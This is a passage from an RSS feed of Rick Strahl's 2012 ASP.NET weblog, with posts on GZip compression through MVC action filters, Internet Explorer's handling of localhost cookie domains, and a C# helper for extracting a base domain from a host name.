        &lt;span style="color: blue"&gt;if &lt;/span&gt;(!&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(AcceptEncoding) &amp;amp;&amp;amp;
                (AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;) || AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"deflate"&lt;/span&gt;)))
            &lt;span style="color: blue"&gt;return true&lt;/span&gt;;
        &lt;span style="color: blue"&gt;return false&lt;/span&gt;;
    }

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Sets up the current page or handler to use GZip through a Response.Filter
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;IMPORTANT:  
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;You have to call this method before any output is generated!
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public static void &lt;/span&gt;GZipEncodePage()
    {
        &lt;span style="color: #2b91af"&gt;HttpResponse &lt;/span&gt;Response = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Response;

        &lt;span style="color: blue"&gt;if &lt;/span&gt;(IsGZipSupported())
        {
            &lt;span style="color: blue"&gt;string &lt;/span&gt;AcceptEncoding = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Request.Headers[&lt;span style="color: #a31515"&gt;"Accept-Encoding"&lt;/span&gt;];

            &lt;span style="color: blue"&gt;if &lt;/span&gt;(AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;))
            {
                Response.Filter = &lt;span style="color: blue"&gt;new &lt;/span&gt;System.IO.Compression.&lt;span style="color: #2b91af"&gt;GZipStream&lt;/span&gt;(Response.Filter,
                                            System.IO.Compression.&lt;span style="color: #2b91af"&gt;CompressionMode&lt;/span&gt;.Compress);
                Response.Headers.Remove(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
                Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;);
            }
            &lt;span style="color: blue"&gt;else
            &lt;/span&gt;{
                Response.Filter = &lt;span style="color: blue"&gt;new &lt;/span&gt;System.IO.Compression.&lt;span style="color: #2b91af"&gt;DeflateStream&lt;/span&gt;(Response.Filter,
                                            System.IO.Compression.&lt;span style="color: #2b91af"&gt;CompressionMode&lt;/span&gt;.Compress);
                Response.Headers.Remove(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
                Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"deflate"&lt;/span&gt;);
            }


        }

        &lt;span style="color: green"&gt;// Allow proxy servers to cache encoded and unencoded versions separately
        &lt;/span&gt;Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Vary"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
    }
}
&lt;/pre&gt;
&lt;p&gt;It's basically the same code wrapped into an ActionFilter attribute, which intercepts requests MVC requests to Controller methods and lets you hook up logic before and after the methods have executed. Here I want to override OnActionExecuting() which fires before the Controller action is fired.&lt;/p&gt;
&lt;p&gt;With the CompressContentAttribute created, it can now be applied to either the controller as a whole:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;CompressContent&lt;/span&gt;]
&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;ClassifiedsController &lt;/span&gt;: &lt;span style="color: #2b91af"&gt;ClassifiedsBaseController
&lt;/span&gt;{ … } &lt;/pre&gt;
&lt;p&gt;or to one of the Action methods:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;CompressContent&lt;/span&gt;]    
&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;ActionResult &lt;/span&gt;List(&lt;span style="color: blue"&gt;string &lt;/span&gt;keyword=&lt;span style="color: blue"&gt;null&lt;/span&gt;, &lt;span style="color: blue"&gt;int &lt;/span&gt;category=0)
{ … }

&lt;/pre&gt;
&lt;p&gt;The former applies compression to every action method, while the latter is selective and only applies it to the individual action method.&lt;/p&gt;
&lt;p&gt;Is the attribute better than the static utility function? Not really, but it is the standard MVC way to hook up 'filter' content and that's where others are likely to expect to set options like this. In fact,&amp;nbsp; you have a bit more control with the utility function because you can conditionally apply it in code, but this is actually much less likely in MVC applications than old WebForms apps since controller methods tend to be more focused.&lt;/p&gt;
&lt;h3&gt;Compression Caveats&lt;/h3&gt;
&lt;p&gt;Http compression is very cool and pretty easy to implement in ASP.NET but you have to be careful with it - especially if your content might get transformed or redirected inside of ASP.NET. A good example, is if an error occurs and a compression filter is applied. ASP.NET errors don't clear the filter, but clear the Response headers which results in some nasty garbage because the compressed content now no longer matches the headers. Another issue is Caching, which has to account for all possible ways of compression and non-compression that the content is served. Basically compressed content and caching don't mix well. I wrote about several of these issues &lt;a href="http://www.west-wind.com/weblog/posts/2011/May/02/ASPNET-GZip-Encoding-Caveats" target="_blank"&gt;in an old blog post&lt;/a&gt; and I recommend you take a quick peek before diving into making every bit of output Gzip encoded.&lt;/p&gt;
&lt;p&gt;None of these are show stoppers, but you have to be aware of the issues.&lt;/p&gt;
&lt;h3&gt;Related Posts&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.west-wind.com/weblog/posts/2007/Jun/29/HttpWebRequest-and-GZip-Http-Responses" target="_blank"&gt;&lt;strong&gt;GZip Compression with ASP.NET Content&lt;/strong&gt;&lt;/a&gt; 
&lt;li&gt;&lt;a href="http://www.west-wind.com/weblog/posts/2011/May/02/ASPNET-GZip-Encoding-Caveats" target="_blank"&gt;&lt;strong&gt;ASP.NET GZip Encoding Caveats&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category= ASP.NET'&gt; ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=MVC'&gt;MVC&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="GZip/Deflate Compression in ASP.NET MVC" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/28/GZipDeflate-Compression-in-ASPNET-MVC"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/28/GZipDeflate-Compression-in-ASPNET-MVC" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=RldaSFCQBag:sQGbE8g55-Q:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=RldaSFCQBag:sQGbE8g55-Q:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=RldaSFCQBag:sQGbE8g55-Q:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=RldaSFCQBag:sQGbE8g55-Q:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/RldaSFCQBag" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/28/GZipDeflate-Compression-in-ASPNET-MVC</feedburner:origLink></item>
    <item>
      <title>Internet Explorer and Cookie Domains</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/4a57uaYs84Q/Internet-Explorer-and-Cookie-Domains</link>
      <guid isPermaLink="false">1335012_201204251304</guid>
      <pubDate>Wed, 25 Apr 2012 13:04:09 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/25/Internet-Explorer-and-Cookie-Domains#Comments</comments>
      <slash:comments>5</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1335012</wfw:commentRss>
      <category> ASP.NET</category>
      <description>&lt;p&gt;I've been bitten by some nasty issues today in regards to using a domain cookie as part of my FormsAuthentication operations. In the app I'm currently working on we need to have single sign-on that spans multiple sub-domains (&lt;a href="http://www.domain.com"&gt;www.domain.com&lt;/a&gt;, store.domain.com, mail.domain.com etc.). That's what a domain cookie is meant for - when you set the cookie with a Domain value of the base domain the cookie stays valid for all sub-domains.&lt;/p&gt; &lt;p&gt;I've been testing the app for quite a while and everything is working great. Finally I get around to checking the app with Internet Explorer and I start discovering some problems - specifically on my local machine using localhost.&lt;/p&gt; &lt;p&gt;It appears that Internet Explorer (all versions) doesn't allow you to specify a domain of localhost, a local IP address or machine name. When you do, Internet Explorer simply ignores the cookie. In my last post I talked about some generic code &lt;a href="http://www.west-wind.com/weblog/posts/2012/Apr/24/Getting-a-base-Domain-from-a-Domain" target="_blank"&gt;I created to basically parse out the base domain from the current URL&lt;/a&gt; so a domain cookie would automatically used using this code:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;private void &lt;/span&gt;IssueAuthTicket(&lt;span style="color: #2b91af"&gt;UserState &lt;/span&gt;userState, &lt;span style="color: blue"&gt;bool &lt;/span&gt;rememberMe)
{
    &lt;span style="color: #2b91af"&gt;FormsAuthenticationTicket &lt;/span&gt;ticket = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;FormsAuthenticationTicket&lt;/span&gt;(1, userState.UserId,
                                                         &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now, &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now.AddDays(10),
                                                         rememberMe, userState.ToString());
    
    &lt;span style="color: blue"&gt;string &lt;/span&gt;ticketString = &lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.Encrypt(ticket);
    &lt;span style="color: #2b91af"&gt;HttpCookie &lt;/span&gt;cookie = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpCookie&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.FormsCookieName, ticketString);
    cookie.HttpOnly = &lt;span style="color: blue"&gt;true&lt;/span&gt;;
    
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(rememberMe)
        cookie.Expires = &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now.AddDays(10);

&lt;strong&gt;    &lt;span style="color: blue"&gt;var &lt;/span&gt;domain = Request.Url.GetBaseDomain();
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(domain != Request.Url.DnsSafeHost)
        cookie.Domain = domain;&lt;br&gt;&lt;/strong&gt;
    HttpContext.Response.Cookies.Add(cookie);
}
&lt;/pre&gt;
&lt;p&gt;This code works fine on all browsers but Internet Explorer both locally and on full domains. And it also works fine for Internet Explorer with actual 'real' domains. However, this code fails silently for IE when the domain is localhost or any other local address. In that case Internet Explorer simply refuses to accept the cookie and fails to log in.&lt;/p&gt;
&lt;p&gt;Argh! The end result is that the solution above trying to automatically parse the base domain won't work as local addresses end up failing.&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;Configuration Setting&lt;/h3&gt;
&lt;p&gt;Given this screwed up state of affairs, the best solution to handle this is a configuration setting. Forms Authentication actually has a &lt;em&gt;domain &lt;/em&gt;key that can be set for FormsAuthentication so that's natural choice for the storing the domain name:&lt;/p&gt;&lt;pre class="code"&gt;    &lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;authentication &lt;/span&gt;&lt;span style="color: red"&gt;mode&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;Forms&lt;/span&gt;"&lt;span style="color: blue"&gt;&amp;gt;
      &amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;forms &lt;/span&gt;&lt;span style="color: red"&gt;loginUrl&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;~/Account/Login&lt;/span&gt;"
             &lt;span style="color: red"&gt;name&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;gnc&lt;/span&gt;"
             &lt;span style="color: red"&gt;domain&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;mydomain.com&lt;/span&gt;"
             &lt;span style="color: red"&gt;slidingExpiration&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;true&lt;/span&gt;"
             &lt;span style="color: red"&gt;timeout&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;30&lt;/span&gt;"
             &lt;span style="color: red"&gt;xdt:Transform&lt;/span&gt;&lt;span style="color: blue"&gt;=&lt;/span&gt;"&lt;span style="color: blue"&gt;Replace&lt;/span&gt;"&lt;span style="color: blue"&gt;/&amp;gt;
    &amp;lt;/&lt;/span&gt;&lt;span style="color: #a31515"&gt;authentication&lt;/span&gt;&lt;span style="color: blue"&gt;&amp;gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;p&gt;Although I'm not actually letting FormsAuth set my cookie directly I can still access the domain name from the static &lt;em&gt;FormsAuthentication.CookieDomain&lt;/em&gt; property, by changing the domain assignment code to:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(!&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(&lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.CookieDomain))
    cookie.Domain = &lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.CookieDomain;

&lt;/pre&gt;
&lt;p&gt;The key is to only set the domain when actually running on a full authority, and leaving the domain key blank on the local machine to avoid the local address debacle. &lt;/p&gt;
&lt;p&gt;Note if you want to see this fail with IE, set the domain to domain="localhost" and watch in &lt;a href="http://fiddlertool.com/" target="_blank"&gt;Fiddler&lt;/a&gt; what happens.&lt;/p&gt;
&lt;h3&gt;Logging Out&lt;/h3&gt;
&lt;p&gt;When specifying a domain key for a login it's also vitally important that that same domain key is used when logging out. Forms Authentication will do this automatically for you when the domain is set and you use &lt;em&gt;FormsAuthentication.SignOut()&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;If you use an explicit Cookie to manage your logins or other persistant value, make sure that when you log out you also specify the domain. IOW, the expiring cookie you set for a 'logout' should match the same settings - name, path, domain - as the cookie you used to set the value.&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: #2b91af"&gt;HttpCookie &lt;/span&gt;cookie = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpCookie&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"gne"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;""&lt;/span&gt;);
cookie.Expires = &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now.AddDays(-5);

&lt;span style="color: green"&gt;// make sure we use the same logic to release cookie
&lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;domain = Request.Url.GetBaseDomain();
&lt;span style="color: blue"&gt;if &lt;/span&gt;(domain != Request.Url.DnsSafeHost)
    cookie.Domain = domain;

HttpContext.Response.Cookies.Add(cookie);
&lt;/pre&gt;
&lt;p&gt;I managed to get my code to do what I needed it to, but man I'm getting so sick and tired of fixing IE only bugs. I spent most of the day today fixing a number of small IE layout bugs along with this issue which took a bit of time to trace down.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category= ASP.NET'&gt; ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Internet Explorer and Cookie Domains" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/25/Internet-Explorer-and-Cookie-Domains"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/25/Internet-Explorer-and-Cookie-Domains" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4a57uaYs84Q:jNFz4_bbF5U:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4a57uaYs84Q:jNFz4_bbF5U:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=4a57uaYs84Q:jNFz4_bbF5U:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=4a57uaYs84Q:jNFz4_bbF5U:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/4a57uaYs84Q" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/25/Internet-Explorer-and-Cookie-Domains</feedburner:origLink></item>
    <item>
      <title>Getting a 'base' Domain from a Domain</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/_LEG7WDxLCo/Getting-a-base-Domain-from-a-Domain</link>
      <guid isPermaLink="false">1334666_201204250417</guid>
      <pubDate>Wed, 25 Apr 2012 04:17:07 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/24/Getting-a-base-Domain-from-a-Domain#Comments</comments>
      <slash:comments>9</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1334666</wfw:commentRss>
      <category>ASP.NET</category>
      <category>Networking</category>
      <description>&lt;p&gt;Here's a simple one: How do you reliably get the base domain from full domain name or URI? Specifically I've run into this scenario in a few recent applications when creating the Forms Auth Cookie in my ASP.NET applications where I explicitly need to force the domain name to the common base domain. So, www.west-wind.com, store.west-wind.com, west-wind.com, dev.west-wind.com all should return west-wind.com.&lt;/p&gt; &lt;p&gt;Here's the code where I need to use this type of logic for issuing an AuthTicket explicitly:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;private void &lt;/span&gt;IssueAuthTicket(&lt;span style="color: #2b91af"&gt;UserState &lt;/span&gt;userState, &lt;span style="color: blue"&gt;bool &lt;/span&gt;rememberMe)
{
    &lt;span style="color: #2b91af"&gt;FormsAuthenticationTicket &lt;/span&gt;ticket = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;FormsAuthenticationTicket&lt;/span&gt;(1, userState.UserId,
                                                         &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now, &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now.AddDays(10),
                                                         rememberMe, userState.ToString());

    &lt;span style="color: blue"&gt;string &lt;/span&gt;ticketString = &lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.Encrypt(ticket);
    &lt;span style="color: #2b91af"&gt;HttpCookie &lt;/span&gt;cookie = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpCookie&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;FormsAuthentication&lt;/span&gt;.FormsCookieName, ticketString);
    cookie.HttpOnly = &lt;span style="color: blue"&gt;true&lt;/span&gt;;
    
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(rememberMe)
        cookie.Expires = &lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;.Now.AddDays(10);

    &lt;span style="color: green"&gt;// write out a domain cookie
    &lt;/span&gt;&lt;strong&gt;cookie.Domain = Request.Url.GetBaseDomain();
&lt;/strong&gt;
    HttpContext.Response.Cookies.Add(cookie);
}
&lt;/pre&gt;
&lt;p&gt;Now unfortunately &lt;strong&gt;there's no Uri.GetBaseDomain()&lt;/strong&gt; method unfortunately, as I was surprised to find out. So I ended up creating one:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public static class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;NetworkUtils
&lt;/span&gt;{

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Retrieves a base domain name from a full domain name.
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;For example: www.west-wind.com produces west-wind.com
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name="domainName"&amp;gt;&lt;/span&gt;&lt;span style="color: green"&gt;Dns Domain name as a string&lt;/span&gt;&lt;span style="color: gray"&gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public static string &lt;/span&gt;GetBaseDomain(&lt;span style="color: blue"&gt;string &lt;/span&gt;domainName)
    {
            &lt;span style="color: blue"&gt;var &lt;/span&gt;tokens = domainName.Split(&lt;span style="color: #a31515"&gt;'.'&lt;/span&gt;);

            &lt;span style="color: green"&gt;// only split 3 segments like www.west-wind.com
            &lt;/span&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(tokens == &lt;span style="color: blue"&gt;null &lt;/span&gt;|| tokens.Length != 3)
                &lt;span style="color: blue"&gt;return &lt;/span&gt;domainName;

            &lt;span style="color: blue"&gt;var &lt;/span&gt;tok  = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;List&lt;/span&gt;&amp;lt;&lt;span style="color: blue"&gt;string&lt;/span&gt;&amp;gt;(tokens);
            &lt;span style="color: blue"&gt;var &lt;/span&gt;remove = tokens.Length - 2;
            tok.RemoveRange(0, remove);

            &lt;span style="color: blue"&gt;return &lt;/span&gt;tok[0] + &lt;span style="color: #a31515"&gt;"." &lt;/span&gt;+ tok[1]; ;                                
    }

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Returns the base domain from a domain name
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;Example: http://www.west-wind.com returns west-wind.com
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name="uri"&amp;gt;&amp;lt;/param&amp;gt;
    /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public static string &lt;/span&gt;GetBaseDomain(&lt;span style="color: blue"&gt;this &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Uri &lt;/span&gt;uri)
    {
        &lt;span style="color: blue"&gt;if &lt;/span&gt;(uri.HostNameType == &lt;span style="color: #2b91af"&gt;UriHostNameType&lt;/span&gt;.Dns)                        
            &lt;span style="color: blue"&gt;return &lt;/span&gt;GetBaseDomain(uri.DnsSafeHost);
        
        &lt;span style="color: blue"&gt;return &lt;/span&gt;uri.Host;
    }
 
}&lt;/pre&gt;
&lt;p&gt;I've had a need for this so frequently it warranted a couple of helpers. The second Uri helper is an Extension method to the Uri class, which is what's used the in the first code sample. This is the preferred way to call this since the URI class can differentiate between Dns names and IP Addresses. If you use the first string based version there's a little more guessing going on if a URL is an IP Address.&lt;/p&gt;
&lt;p&gt;There are a couple of small twists in dealing with 'domain names'. When passing a string only there's a possibility to not actually pass domain name, but end up passing an IP address, so the code explicitly checks for three domain segments (can there be more than 3?). IP4 Addresses have 4 and IP6 have none so they'll fall through. Then there are things like localhost or a NetBios machine name which also come back on URL strings, but also shouldn't be handled.&lt;/p&gt;
&lt;p&gt;Anyway, small thing but maybe somebody else will find this useful.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=ASP.NET'&gt;ASP.NET&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=Networking'&gt;Networking&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Getting a 'base' Domain from a Domain" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/24/Getting-a-base-Domain-from-a-Domain"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

